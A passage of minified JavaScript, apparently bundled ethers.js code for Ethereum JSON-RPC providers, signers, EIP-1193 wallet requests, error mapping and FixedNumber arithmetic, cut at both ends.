n=this.#Ge++,r=()=>{this.#Qe.delete(n),e()};if(this.paused)this.#Qe.set(n,{timer:null,func:r,time:t});else{const e=setTimeout(r,t);this.#Qe.set(n,{timer:e,func:r,time:cl()})}return n}_forEachSubscriber(e){for(const t of this.#De.values())e(t.subscriber)}_getSubscriber(e){switch(e.type){case"debug":case"error":case"network":return new ol(e.type);case"block":{const e=new Xo(this);return e.pollingInterval=this.pollingInterval,e}case"safe":case"finalized":return new el(this,e.type);case"event":return new rl(this,e.filter);case"transaction":return new nl(this,e.hash);case"orphan":return new tl(this,e.filter)}throw new Error(`unsupported event: ${e.type}`)}_recoverSubscriber(e,t){for(const n of this.#De.values())if(n.subscriber===e){n.started&&n.subscriber.stop(),n.subscriber=t,n.started&&t.start(),null!=this.#Ue&&t.pause(this.#Ue);break}}async#Ze(e,t){let n=await ul(e,this);return"event"===n.type&&t&&t.length>0&&!0===t[0].removed&&(n=await ul({orphan:"drop-log",log:t[0]},this)),this.#De.get(n.tag)||null}async#Xe(e){const t=await ul(e,this),n=t.tag;let r=this.#De.get(n);if(!r){r={subscriber:this._getSubscriber(t),tag:n,addressableMap:new WeakMap,nameMap:new Map,started:!1,listeners:[]},this.#De.set(n,r)}return r}async on(e,t){const n=await this.#Xe(e);return n.listeners.push({listener:t,once:!1}),n.started||(n.subscriber.start(),n.started=!0,null!=this.#Ue&&n.subscriber.pause(this.#Ue)),this}async once(e,t){const n=await this.#Xe(e);return n.listeners.push({listener:t,once:!0}),n.started||(n.subscriber.start(),n.started=!0,null!=this.#Ue&&n.subscriber.pause(this.#Ue)),this}async emit(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];const a=await this.#Ze(e,n);if(!a||0===a.listeners.length)return!1;const i=a.listeners.length;return a.listeners=a.listeners.filter((t=>{let{listener:r,once:a}=t;const i=new Sr(this,a?null:r,e);try{r.call(this,...n,i)}catch(s){}return!a})),0===a.listeners.length&&(a.started&&a.subscriber.stop(),this.#De.delete(a.tag)),i>0}async listenerCount(e){if(e){const t=await this.#Ze(e);return t?t.listeners.length:0}let t=0;for(const{listeners:n}of this.#De.values())t+=n.length;return t}async listeners(e){if(e){const t=await this.#Ze(e);return t?t.listeners.map((e=>{let{listener:t}=e;return t})):[]}let t=[];for(const{listeners:n}of this.#De.values())t=t.concat(n.map((e=>{let{listener:t}=e;return t})));return t}async off(e,t){const n=await this.#Ze(e);if(!n)return this;if(t){const e=n.listeners.map((e=>{let{listener:t}=e;return t})).indexOf(t);e>=0&&n.listeners.splice(e,1)}return t&&0!==n.listeners.length||(n.started&&n.subscriber.stop(),this.#De.delete(n.tag)),this}async removeAllListeners(e){if(e){const{tag:t,started:n,subscriber:r}=await this.#Xe(e);n&&r.stop(),this.#De.delete(t)}else for(const[t,{started:n,subscriber:r}]of this.#De)n&&r.stop(),this.#De.delete(t);return this}async addListener(e,t){return await this.on(e,t)}async removeListener(e,t){return this.off(e,t)}get destroyed(){return this.#Me}destroy(){this.removeAllListeners();for(const e of this.#Qe.keys())this._clearTimeout(e);this.#Me=!0}get paused(){return null!=this.#Ue}set paused(e){!!e!==this.paused&&(this.paused?this.resume():this.pause(!1))}pause(e){if(this.#je=-1,null!=this.#Ue){if(this.#Ue==!!e)return;h(!1,"cannot change pause type; resume first","UNSUPPORTED_OPERATION",{operation:"pause"})}this._forEachSubscriber((t=>t.pause(e))),this.#Ue=!!e;for(const t of this.#Qe.values())t.timer&&clearTimeout(t.timer),t.time=cl()-t.time}resume(){if(null!=this.#Ue){this._forEachSubscriber((e=>e.resume())),this.#Ue=null;for(const e of this.#Qe.values()){let t=e.time;t<0&&(t=0),e.time=cl(),setTimeout(e.func,t)}}}}function hl(e,t){try{const n=pl(e,t);if(n)return Et(n)}catch(n){}return null}function pl(e,t){if("0x"===e)return null;try{const n=_(C(e,t,t+32)),r=_(C(e,n,n+32));return C(e,n+32,n+32+r)}catch(n){}return null}function gl(e){const t=j(e);if(t.length>32)throw new Error("internal; should not happen");const n=new Uint8Array(32);return n.set(t,32-t.length),n}function ml(e){if(e.length%32===0)return e;const t=new Uint8Array(32*Math.ceil(e.length/32));return t.set(e),t}const yl=new Uint8Array([]);function bl(e){const t=[];let n=0;for(let r=0;r<e.length;r++)t.push(yl),n+=32;for(let r=0;r<e.length;r++){const a=w(e[r]);t[r]=gl(n),t.push(gl(a.length)),t.push(ml(a)),n+=32+32*Math.ceil(a.length/32)}return x(t)}const wl="0x0000000000000000000000000000000000000000000000000000000000000000";function vl(e,t){if(e.provider)return e.provider;h(!1,"missing provider","UNSUPPORTED_OPERATION",{operation:t})}async function Al(e,t){let n=yr(t);if(null!=n.to&&(n.to=Cn(n.to,e)),null!=n.from){const t=n.from;n.from=Promise.all([e.getAddress(),Cn(t,e)]).then((e=>{let[t,n]=e;return p(t.toLowerCase()===n.toLowerCase(),"transaction from mismatch","tx.from",n),t}))}else n.from=e.getAddress();return await o(n)}class kl{provider;constructor(e){l(this,{provider:e||null})}async getNonce(e){return vl(this,"getTransactionCount").getTransactionCount(await this.getAddress(),e)}async populateCall(e){return await Al(this,e)}async populateTransaction(e){const t=vl(this,"populateTransaction"),n=await Al(this,e);null==n.nonce&&(n.nonce=await this.getNonce("pending")),null==n.gasLimit&&(n.gasLimit=await this.estimateGas(n));const r=await this.provider.getNetwork();if(null!=n.chainId){p(D(n.chainId)===r.chainId,"transaction chainId mismatch","tx.chainId",e.chainId)}else n.chainId=r.chainId;const a=null!=n.maxFeePerGas||null!=n.maxPriorityFeePerGas;if(null==n.gasPrice||2!==n.type&&!a?0!==n.type&&1!==n.type||!a||p(!1,"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas","tx",e):p(!1,"eip-1559 transaction do not support gasPrice","tx",e),2!==n.type&&null!=n.type||null==n.maxFeePerGas||null==n.maxPriorityFeePerGas)if(0===n.type||1===n.type){const e=await t.getFeeData();h(null!=e.gasPrice,"network does not support gasPrice","UNSUPPORTED_OPERATION",{operation:"getGasPrice"}),null==n.gasPrice&&(n.gasPrice=e.gasPrice)}else{const e=await t.getFeeData();if(null==n.type)if(null!=e.maxFeePerGas&&null!=e.maxPriorityFeePerGas)if(n.type=2,null!=n.gasPrice){const e=n.gasPrice;delete n.gasPrice,n.maxFeePerGas=e,n.maxPriorityFeePerGas=e}else null==n.maxFeePerGas&&(n.maxFeePerGas=e.maxFeePerGas),null==n.maxPriorityFeePerGas&&(n.maxPriorityFeePerGas=e.maxPriorityFeePerGas);else null!=e.gasPrice?(h(!a,"network does not support EIP-1559","UNSUPPORTED_OPERATION",{operation:"populateTransaction"}),null==n.gasPrice&&(n.gasPrice=e.gasPrice),n.type=0):h(!1,"failed to get consistent fee data","UNSUPPORTED_OPERATION",{operation:"signer.getFeeData"});else 2!==n.type&&3!==n.type||(null==n.maxFeePerGas&&(n.maxFeePerGas=e.maxFeePerGas),null==n.maxPriorityFeePerGas&&(n.maxPriorityFeePerGas=e.maxPriorityFeePerGas))}else n.type=2;return await o(n)}async estimateGas(e){return vl(this,"estimateGas").estimateGas(await this.populateCall(e))}async call(e){return vl(this,"call").call(await this.populateCall(e))}async resolveName(e){const t=vl(this,"resolveName");return await t.resolveName(e)}async sendTransaction(e){const t=vl(this,"sendTransaction"),n=await this.populateTransaction(e);delete n.from;const r=Eo.from(n);return await t.broadcastTransaction(await this.signTransaction(r))}}class El{#Ce;#$e;#Ne;#Ie;#et;#tt;constructor(e){this.#Ce=e,this.#$e=null,this.#Ne=this.#Re.bind(this),this.#Ie=!1,this.#et=null,this.#tt=!1}_subscribe(e){throw new Error("subclasses must override this")}_emitResults(e,t){throw new Error("subclasses must override this")}_recover(e){throw new Error("subclasses must override this")}async#Re(e){try{null==this.#$e&&(this.#$e=this._subscribe(this.#Ce));let e=null;try{e=await this.#$e}catch(t){if(!c(t,"UNSUPPORTED_OPERATION")||"eth_newFilter"!==t.operation)throw t}if(null==e)return this.#$e=null,void this.#Ce._recoverSubscriber(this,this._recover(this.#Ce));const n=await this.#Ce.getNetwork();if(this.#et||(this.#et=n),this.#et.chainId!==n.chainId)throw new Error("chaid changed");if(this.#tt)return;const r=await this.#Ce.send("eth_getFilterChanges",[e]);await this._emitResults(this.#Ce,r)}catch(t){console.log("@TODO",t)}this.#Ce.once("block",this.#Ne)}#nt(){const e=this.#$e;e&&(this.#$e=null,e.then((e=>{this.#Ce.destroyed||this.#Ce.send("eth_uninstallFilter",[e])})))}start(){this.#Ie||(this.#Ie=!0,this.#Re(-2))}stop(){this.#Ie&&(this.#Ie=!1,this.#tt=!0,this.#nt(),this.#Ce.off("block",this.#Ne))}pause(e){e&&this.#nt(),this.#Ce.off("block",this.#Ne)}resume(){this.start()}}class Sl extends El{#rt;constructor(e,t){var n;super(e),this.#rt=(n=t,JSON.parse(JSON.stringify(n)))}_recover(e){return new rl(e,this.#rt)}async _subscribe(e){return await e.send("eth_newFilter",[this.#rt])}async _emitResults(e,t){for(const n of t)e.emit(this.#rt,e._wrapLog(n,e._network))}}class xl extends El{async _subscribe(e){return await e.send("eth_newPendingTransactionFilter",[])}async _emitResults(e,t){for(const n of t)e.emit("pending",n)}}const Pl="bigint,boolean,function,number,string,symbol".split(/,/g);function Cl(e){if(null==e||Pl.indexOf(typeof e)>=0)return e;if("function"===typeof e.getAddress)return e;if(Array.isArray(e))return e.map(Cl);if("object"===typeof e)return Object.keys(e).reduce(((t,n)=>(t[n]=e[n],t)),{});throw new Error(`should not happen: ${e} (${typeof e})`)}function Nl(e){return new Promise((t=>{setTimeout(t,e)}))}function Ol(e){return e?e.toLowerCase():e}function Tl(e){return e&&"number"===typeof e.pollingInterval}const Rl={polling:!1,staticNetwork:null,batchStallTime:10,batchMaxSize:1<<20,batchMaxCount:100,cacheTimeout:250,pollingInterval:4e3};class Il extends kl{address;constructor(e,t){super(e),l(this,{address:t=Xe(t)})}connect(e){h(!1,"cannot reconnect JsonRpcSigner","UNSUPPORTED_OPERATION",{operation:"signer.connect"})}async getAddress(){return this.address}async populateTransaction(e){return await this.populateCall(e)}async sendUncheckedTransaction(e){const t=Cl(e),n=[];if(t.from){const r=t.from;n.push((async()=>{const n=await Cn(r,this.provider);p(null!=n&&n.toLowerCase()===this.address.toLowerCase(),"from address mismatch","transaction",e),t.from=n})())}else t.from=this.address;if(null==t.gasLimit&&n.push((async()=>{t.gasLimit=await this.provider.estimateGas({...t,from:this.address})})()),null!=t.to){const e=t.to;n.push((async()=>{t.to=await Cn(e,this.provider)})())}n.length&&await Promise.all(n);const r=this.provider.getRpcTransaction(t);return this.provider.send("eth_sendTransaction",[r])}async sendTransaction(e){const t=await this.provider.getBlockNumber(),n=await this.sendUncheckedTransaction(e);return await new Promise(((e,r)=>{const a=[1e3,100];let i=0;const s=async()=>{try{const r=await this.provider.getTransaction(n);if(null!=r)return void e(r.replaceableTransaction(t))}catch(o){if(c(o,"CANCELLED")||c(o,"BAD_DATA")||c(o,"NETWORK_ERROR")||c(o,"UNSUPPORTED_OPERATION"))return null==o.info&&(o.info={}),o.info.sendTransactionHash=n,void r(o);if(c(o,"INVALID_ARGUMENT")&&(i++,null==o.info&&(o.info={}),o.info.sendTransactionHash=n,i>10))return void r(o);this.provider.emit("error",d("failed to fetch transation after sending (will try again)","UNKNOWN_ERROR",{error:o}))}this.provider._setTimeout((()=>{s()}),a.pop()||4e3)};s()}))}async signTransaction(e){const t=Cl(e);if(t.from){const n=await Cn(t.from,this.provider);p(null!=n&&n.toLowerCase()===this.address.toLowerCase(),"from address mismatch","transaction",e),t.from=n}else t.from=this.address;const n=this.provider.getRpcTransaction(t);return await this.provider.send("eth_signTransaction",[n])}async signMessage(e){const t="string"===typeof e?kt(e):e;return await this.provider.send("personal_sign",[S(t),this.address.toLowerCase()])}async signTypedData(e,t,n){const r=Cl(n),a=await jn.resolveNames(e,t,r,(async e=>{const t=await Cn(e);return p(null!=t,"TypedData does not support null address","value",e),t}));return await this.provider.send("eth_signTypedData_v4",[this.address.toLowerCase(),JSON.stringify(jn.getPayload(a.domain,t,a.value))])}async unlock(e){return this.provider.send("personal_unlockAccount",[this.address.toLowerCase(),e,null])}async _legacySignMessage(e){const t="string"===typeof e?kt(e):e;return await this.provider.send("eth_sign",[this.address.toLowerCase(),S(t)])}}class Bl extends dl{#c;#at;#it;#st;#ot;#et;#lt;#ut(){if(this.#st)return;const e=1===this._getOption("batchMaxCount")?0:this._getOption("batchStallTime");this.#st=setTimeout((()=>{this.#st=null;const e=this.#it;for(this.#it=[];e.length;){const t=[e.shift()];for(;e.length&&t.length!==this.#c.batchMaxCount;){t.push(e.shift());if(JSON.stringify(t.map((e=>e.payload))).length>this.#c.batchMaxSize){e.unshift(t.pop());break}}(async()=>{const e=1===t.length?t[0].payload:t.map((e=>e.payload));this.emit("debug",{action:"sendRpcPayload",payload:e});try{const n=await this._send(e);this.emit("debug",{action:"receiveRpcResult",result:n});for(const{resolve:e,reject:r,payload:a}of t){if(this.destroyed){r(d("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:a.method}));continue}const t=n.filter((e=>e.id===a.id))[0];if(null!=t)"error"in t?r(this.getRpcError(a,t)):e(t.result);else{const e=d("missing response for request","BAD_DATA",{value:n,info:{payload:a}});this.emit("error",e),r(e)}}}catch(n){this.emit("debug",{action:"receiveRpcError",error:n});for(const{reject:e}of t)e(n)}})()}}),e)}constructor(e,t){super(e,t),this.#at=1,this.#c=Object.assign({},Rl,t||{}),this.#it=[],this.#st=null,this.#et=null,this.#lt=null;{let e=null;const t=new Promise((t=>{e=t}));this.#ot={promise:t,resolve:e}}const n=this._getOption("staticNetwork");"boolean"===typeof n?(p(!n||"any"!==e,"staticNetwork cannot be used on special network 'any'","options",t),n&&null!=e&&(this.#et=qo.from(e))):n&&(p(null==e||n.matches(e),"staticNetwork MUST match network object","options",t),this.#et=n)}_getOption(e){return this.#c[e]}get _network(){return h(this.#et,"network is not available yet","NETWORK_ERROR"),this.#et}async _perform(e){if("call"===e.method||"estimateGas"===e.method){let t=e.transaction;if(t&&null!=t.type&&D(t.type)&&null==t.maxFeePerGas&&null==t.maxPriorityFeePerGas){const n=await this.getFeeData();null==n.maxFeePerGas&&null==n.maxPriorityFeePerGas&&(e=Object.assign({},e,{transaction:Object.assign({},t,{type:void 0})}))}}const t=this.getRpcRequest(e);return null!=t?await this.send(t.method,t.args):super._perform(e)}async _detectNetwork(){const e=this._getOption("staticNetwork");if(e){if(!0!==e)return e;if(this.#et)return this.#et}return this.#lt?await this.#lt:this.ready?(this.#lt=(async()=>{try{const e=qo.from(D(await this.send("eth_chainId",[])));return this.#lt=null,e}catch(e){throw this.#lt=null,e}})(),await this.#lt):(this.#lt=(async()=>{const e={id:this.#at++,method:"eth_chainId",params:[],jsonrpc:"2.0"};let t;this.emit("debug",{action:"sendRpcPayload",payload:e});try{t=(await this._send(e))[0],this.#lt=null}catch(n){throw this.#lt=null,this.emit("debug",{action:"receiveRpcError",error:n}),n}if(this.emit("debug",{action:"receiveRpcResult",result:t}),"result"in t)return qo.from(D(t.result));throw this.getRpcError(e,t)})(),await this.#lt)}_start(){null!=this.#ot&&null!=this.#ot.resolve&&(this.#ot.resolve(),this.#ot=null,(async()=>{for(;null==this.#et&&!this.destroyed;)try{this.#et=await this._detectNetwork()}catch(e){if(this.destroyed)break;console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)"),this.emit("error",d("failed to bootstrap network detection","NETWORK_ERROR",{event:"initial-network-discovery",info:{error:e}})),await Nl(1e3)}this.#ut()})())}async _waitUntilReady(){if(null!=this.#ot)return await this.#ot.promise}_getSubscriber(e){return"pending"===e.type?new xl(this):"event"===e.type?this._getOption("polling")?new rl(this,e.filter):new Sl(this,e.filter):"orphan"===e.type&&"drop-log"===e.filter.orphan?new ol("orphan"):super._getSubscriber(e)}get ready(){return null==this.#ot}getRpcTransaction(e){const t={};return["chainId","gasLimit","gasPrice","type","maxFeePerGas","maxPriorityFeePerGas","nonce","value"].forEach((n=>{if(null==e[n])return;let r=n;"gasLimit"===n&&(r="gas"),t[r]=G(D(e[n],`tx.${n}`))})),["from","to","data"].forEach((n=>{null!=e[n]&&(t[n]=S(e[n]))})),e.accessList&&(t.accessList=Qn(e.accessList)),e.blobVersionedHashes&&(t.blobVersionedHashes=e.blobVersionedHashes.map((e=>e.toLowerCase()))),t}getRpcRequest(e){switch(e.method){case"chainId":return{method:"eth_chainId",args:[]};case"getBlockNumber":return{method:"eth_blockNumber",args:[]};case"getGasPrice":return{method:"eth_gasPrice",args:[]};case"getPriorityFee":return{method:"eth_maxPriorityFeePerGas",args:[]};case"getBalance":return{method:"eth_getBalance",args:[Ol(e.address),e.blockTag]};case"getTransactionCount":return{method:"eth_getTransactionCount",args:[Ol(e.address),e.blockTag]};case"getCode":return{method:"eth_getCode",args:[Ol(e.address),e.blockTag]};case"getStorage":return{method:"eth_getStorageAt",args:[Ol(e.address),"0x"+e.position.toString(16),e.blockTag]};case"broadcastTransaction":return{method:"eth_sendRawTransaction",args:[e.signedTransaction]};case"getBlock":if("blockTag"in e)return{method:"eth_getBlockByNumber",args:[e.blockTag,!!e.includeTransactions]};if("blockHash"in e)return{method:"eth_getBlockByHash",args:[e.blockHash,!!e.includeTransactions]};break;case"getTransaction":return{method:"eth_getTransactionByHash",args:[e.hash]};case"getTransactionReceipt":return{method:"eth_getTransactionReceipt",args:[e.hash]};case"call":return{method:"eth_call",args:[this.getRpcTransaction(e.transaction),e.blockTag]};case"estimateGas":return{method:"eth_estimateGas",args:[this.getRpcTransaction(e.transaction)]};case"getLogs":return e.filter&&null!=e.filter.address&&(Array.isArray(e.filter.address)?e.filter.address=e.filter.address.map(Ol):e.filter.address=Ol(e.filter.address)),{method:"eth_getLogs",args:[e.filter]}}return null}getRpcError(e,t){const{method:n}=e,{error:r}=t;if("eth_estimateGas"===n&&r.message){const t=r.message;if(!t.match(/revert/i)&&t.match(/insufficient funds/i))return d("insufficient funds","INSUFFICIENT_FUNDS",{transaction:e.params[0],info:{payload:e,error:r}})}if("eth_call"===n||"eth_estimateGas"===n){const t=Ll(r),a=Sn.getBuiltinCallException("eth_call"===n?"call":"estimateGas",e.params[0],t?t.data:null);return a.info={error:r,payload:e},a}const a=JSON.stringify(function(e){const t=[];return Dl(e,t),t}(r));if("string"===typeof r.message&&r.message.match(/user denied|ethers-user-denied/i)){return d("user rejected action","ACTION_REJECTED",{action:{eth_sign:"signMessage",personal_sign:"signMessage",eth_signTypedData_v4:"signTypedData",eth_signTransaction:"signTransaction",eth_sendTransaction:"sendTransaction",eth_requestAccounts:"requestAccess",wallet_requestAccounts:"requestAccess"}[n]||"unknown",reason:"rejected",info:{payload:e,error:r}})}if("eth_sendRawTransaction"===n||"eth_sendTransaction"===n){const t=e.params[0];if(a.match(/insufficient funds|base fee exceeds gas limit/i))return d("insufficient funds for intrinsic transaction cost","INSUFFICIENT_FUNDS",{transaction:t,info:{error:r}});if(a.match(/nonce/i)&&a.match(/too low/i))return d("nonce has already been used","NONCE_EXPIRED",{transaction:t,info:{error:r}});if(a.match(/replacement transaction/i)&&a.match(/underpriced/i))return d("replacement fee too low","REPLACEMENT_UNDERPRICED",{transaction:t,info:{error:r}});if(a.match(/only replay-protected/i))return d("legacy pre-eip-155 transactions not supported","UNSUPPORTED_OPERATION",{operation:n,info:{transaction:t,info:{error:r}}})}let i=!!a.match(/the method .* does not exist/i);return i||r&&r.details&&r.details.startsWith("Unauthorized method:")&&(i=!0),i?d("unsupported operation","UNSUPPORTED_OPERATION",{operation:e.method,info:{error:r,payload:e}}):d("could not coalesce error","UNKNOWN_ERROR",{error:r,payload:e})}send(e,t){if(this.destroyed)return Promise.reject(d("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:e}));const n=this.#at++,r=new Promise(((r,a)=>{this.#it.push({resolve:r,reject:a,payload:{method:e,params:t,id:n,jsonrpc:"2.0"}})}));return this.#ut(),r}async getSigner(e){null==e&&(e=0);const t=this.send("eth_accounts",[]);if("number"===typeof e){const n=await t;if(e>=n.length)throw new Error("no such account");return new Il(this,n[e])}const{accounts:n}=await o({network:this.getNetwork(),accounts:t});e=Xe(e);for(const r of n)if(Xe(r)===e)return new Il(this,e);throw new Error("invalid account")}async listAccounts(){return(await this.send("eth_accounts",[])).map((e=>new Il(this,e)))}destroy(){this.#st&&(clearTimeout(this.#st),this.#st=null);for(const{payload:e,reject:t}of this.#it)t(d("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:e.method}));this.#it=[],super.destroy()}}class Fl extends Bl{#ct;constructor(e,t){super(e,t);let n=this._getOption("pollingInterval");null==n&&(n=Rl.pollingInterval),this.#ct=n}_getSubscriber(e){const t=super._getSubscriber(e);return Tl(t)&&(t.pollingInterval=this.#ct),t}get pollingInterval(){return this.#ct}set pollingInterval(e){if(!Number.isInteger(e)||e<0)throw new Error("invalid interval");this.#ct=e,this._forEachSubscriber((e=>{Tl(e)&&(e.pollingInterval=this.#ct)}))}}function Ll(e){if(null==e)return null;if("string"===typeof e.message&&e.message.match(/revert/i)&&A(e.data))return{message:e.message,data:e.data};if("object"===typeof e){for(const t in e){const n=Ll(e[t]);if(n)return n}return null}if("string"===typeof e)try{return Ll(JSON.parse(e))}catch(t){}return null}function Dl(e,t){if(null!=e){if("string"===typeof e.message&&t.push(e.message),"object"===typeof e)for(const n in e)Dl(e[n],t);if("string"===typeof e)try{return Dl(JSON.parse(e),t)}catch(n){}}}class Ul extends Fl{#z;constructor(e,t,n){const r=Object.assign({},null!=n?n:{},{batchMaxCount:1});p(e&&e.request,"invalid EIP-1193 provider","ethereum",e),super(t,r),this.#z=async(t,n)=>{const r={method:t,params:n};this.emit("debug",{action:"sendEip1193Request",payload:r});try{const t=await e.request(r);return this.emit("debug",{action:"receiveEip1193Result",result:t}),t}catch(a){const e=new Error(a.message);throw e.code=a.code,e.data=a.data,e.payload=r,this.emit("debug",{action:"receiveEip1193Error",error:e}),e}}}async send(e,t){return await this._start(),await super.send(e,t)}async _send(e){p(!Array.isArray(e),"EIP-1193 does not support batch request","payload",e);try{const t=await this.#z(e.method,e.params||[]);return[{id:e.id,result:t}]}catch(t){return[{id:e.id,error:{code:t.code,data:t.data,message:t.message}}]}}getRpcError(e,t){switch((t=JSON.parse(JSON.stringify(t))).error.code||-1){case 4001:t.error.message=`ethers-user-denied: ${t.error.message}`;break;case 4200:t.error.message=`ethers-unsupported: ${t.error.message}`}return super.getRpcError(e,t)}async hasSigner(e){null==e&&(e=0);const t=await this.send("eth_accounts",[]);return"number"===typeof e?t.length>e:(e=e.toLowerCase(),0!==t.filter((t=>t.toLowerCase()===e)).length)}async getSigner(e){if(null==e&&(e=0),!await this.hasSigner(e))try{await this.#z("eth_requestAccounts",[])}catch(t){const e=t.payload;throw this.getRpcError(e,{id:e.id,error:t})}return await super.getSigner(e)}}const Ml=BigInt(-1),zl=BigInt(0),_l=BigInt(1),Hl=BigInt(5),jl={};let Gl="0000";for(;Gl.length<80;)Gl+=Gl;function Ql(e){let t=Gl;for(;t.length<e;)t+=t;return BigInt("1"+t.substring(0,e))}function Vl(e,t,n){const r=BigInt(t.width);if(t.signed){const t=_l<<r-_l;h(null==n||e>=-t&&e<t,"overflow","NUMERIC_FAULT",{operation:n,fault:"overflow",value:e}),e=e>zl?B(L(e,r),r):-B(L(-e,r),r)}else{const t=_l<<r;h(null==n||e>=0&&e<t,"overflow","NUMERIC_FAULT",{operation:n,fault:"overflow",value:e}),e=(e%t+t)%t&t-_l}return e}function Jl(e){"number"===typeof e&&(e=`fixed128x${e}`);let t=!0,n=128,r=18;if("string"===typeof e)if("fixed"===e);else if("ufixed"===e)t=!1;else{const a=e.match(/^(u?)fixed([0-9]+)x([0-9]+)$/);p(a,"invalid fixed format","format",e),t="u"!==a[1],n=parseInt(a[2]),r=parseInt(a[3])}else if(e){const a=e,i=(e,t,n)=>null==a[e]?n:(p(typeof a[e]===t,"invalid fixed format ("+e+" not "+t+")","format."+e,a[e]),a[e]);t=i("signed","boolean",t),n=i("width","number",n),r=i("decimals","number",r)}p(n%8===0,"invalid FixedNumber width (not byte aligned)","format.width",n),p(r<=80,"invalid FixedNumber decimals (too large)","format.decimals",r);return{signed:t,width:n,decimals:r,name:(t?"":"u")+"fixed"+String(n)+"x"+String(r)}}class ql{format;#ft;#dt;#ht;_value;constructor(e,t,n){y(e,jl,"FixedNumber"),this.#dt=t,this.#ft=n;const r=function(e,t){let n="";e<zl&&(n="-",e*=Ml);let r=e.toString();if(0===t)return n+r;for(;r.length<=t;)r=Gl+r;const a=r.length-t;for(r=r.substring(0,a)+"."+r.substring(a);"0"===r[0]&&"."!==r[1];)r=r.substring(1);for(;"0"===r[r.length-1]&&"."!==r[r.length-2];)r=r.substring(0,r.length-1);return n+r}(t,n.decimals);l(this,{format:n.name,_value:r}),this.#ht=Ql(n.decimals)}get signed(){return this.#ft.signed}get width(){return this.#ft.width}get decimals(){return this.#ft.decimals}get value(){return this.#dt}#pt(e){p(this.format===e.format,"incompatible format; use fixedNumber.toFormat","other",e)}#gt(e,t){return e=Vl(e,this.#ft,t),new ql(jl,e,this.#ft)}#mt(e,t){return this.#pt(e),this.#gt(this.#dt+e.#dt,t)}addUnsafe(e){return this.#mt(e)}add(e){return this.#mt(e,"add")}#yt(e,t){return this.#pt(e),this.#gt(this.#dt-e.#dt,t)}subUnsafe(e){return this.#yt(e)}sub(e){return this.#yt(e,"sub")}#bt(e,t){return this.#pt(e),this.#gt(this.#dt*e.#dt/this.#ht,t)}mulUnsafe(e){return this.#bt(e)}mul(e){return this.#bt(e,"mul")}mulSignal(e){this.#pt(e);const t=this.#dt*e.#dt;return h(t%this.#ht===zl,"precision lost during signalling mul","NUMERIC_FAULT",{operation:"mulSignal",fault:"underflow",value:this}),this.#gt(t/this.#ht,"mulSignal")}#wt(e,t){return h(e.#dt!==zl,"division by zero","NUMERIC_FAULT",{operation:"div",fault:"divide-by-zero",value:this}),this.#pt(e),this.#gt(this.#dt*this.#ht/e.#dt,t)}divUnsafe(e){return this.#wt(e)}div(e){return this.#wt(e,"div")}divSignal(e){h(e.#dt!==zl,"division by zero","NUMERIC_FAULT",{operation:"div",fault:"divide-by-zero",value:this}),this.#pt(e);const t=this.#dt*this.#ht;return h(t%e.#dt===zl,"precision lost during signalling div","NUMERIC_FAULT",{operation:"divSignal",fault:"underflow",value:this}),this.#gt(t/e.#dt,"divSignal")}cmp(e){let t=this.value,n=e.value;const r=this.decimals-e.decimals;return r>0?n*=Ql(r):r<0&&(t*=Ql(-r)),t<n?-1:t>n?1:0}eq(e){return 0===this.cmp(e)}lt(e){return this.cmp(e)<0}lte(e){return this.cmp(e)<=0}gt(e){return this.cmp(e)>0}gte(e){return this.cmp(e)>=0}floor(){let e=this.#dt;return this.#dt<zl&&(e-=this.#ht-_l),e=this.#dt/this.#ht*this.#ht,this.#gt(e,"floor")}ceiling(){let e=this.#dt;return this.#dt>zl&&(e+=this.#ht-_l),e=this.#dt/this.#ht*this.#ht,this.#gt(e,"ceiling")}round(e){if(null==e&&(e=0),e>=this.decimals)return this;const t=this.decimals-e,n=Hl*Ql(t-1);let r=this.value+n;const a=Ql(t);return r=r/a*a,Vl(r,this.#ft,"round"),new ql(jl,r,this.#ft)}isZero(){return this.#dt===zl}isNegative(){return this.#dt<zl}toString(){return this._value}toUnsafeFloat(){return parseFloat(this.toString())}toFormat(e){return ql.fromString(this.toString(),e)}static fromValue(e,t,n){const r=null==t?0:_(t),a=Jl(n);let i=D(e,"value");const s=r-a.decimals;if(s>0){const t=Ql(s);h(i%t===zl,"value loses precision for format","NUMERIC_FAULT",{operation:"fromValue",fault:"underflow",value:e}),i/=t}else s<0&&(i*=Ql(-s));return Vl(i,a,"fromValue"),new ql(jl,i,a)}static fromString(e,t){const n=e.match(/^(-?)([0-9]*)\.?([0-9]*)$/);p(n&&n[2].length+n[3].length>0,"invalid FixedNumber string value","value",e);const r=Jl(t);let a=n[2]||"0",i=n[3]||"";for(;i.length<r.decimals;)i+=Gl;h(i.substring(r.decimals).match(/^0*$/),"too many decimals for format","NUMERIC_FAULT",{operation:"fromString",fault:"underflow",value:e}),i=i.substring(0,r.decimals);const s=BigInt(n[1]+a+i);return Vl(s,r,"fromString"),new ql(jl,s,r)}static fromBytes(e,t){let n=z(w(e,"value"));const r=Jl(t);return r.signed&&(n=B(n,r.width)),Vl(n,r,"fromBytes"),new ql(jl,n,r)}}const Kl=["wei","kwei","mwei","gwei","szabo","finney","ether"];function Wl(e,t){let n=18;if("string"===typeof t){const e=Kl.indexOf(t);p(e>=0,"invalid unit","unit",t),n=3*e}else null!=t&&(n=_(t,"unit"));return ql.fromValue(e,n,{decimals:n,width:512}).toString()}function Yl(e,t){p("string"===typeof e,"value must be a string","value",e);let n=18;if("string"===typeof t){const e=Kl.indexOf(t);p(e>=0,"invalid unit","unit",t),n=3*e}else null!=t&&(n=_(t,"unit"));return ql.fromString(e,{decimals:n,width:512}).value}var Zl={color:void 0,size:void 0,className:void 0,style:void 0,attr:void 0},Xl=a.createContext&&a.createContext(Zl),$l=["attr","size","title"];function eu(e,t){if(null==e)return{};var n,r,a=function(e,t){if(null==e)return{};var n={};for(var r in e)if(Object.prototype.hasOwnProperty.call(e,r)){if(t.indexOf(r)>=0)continue;n[r]=e[r]}return n}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}function tu(){return tu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var 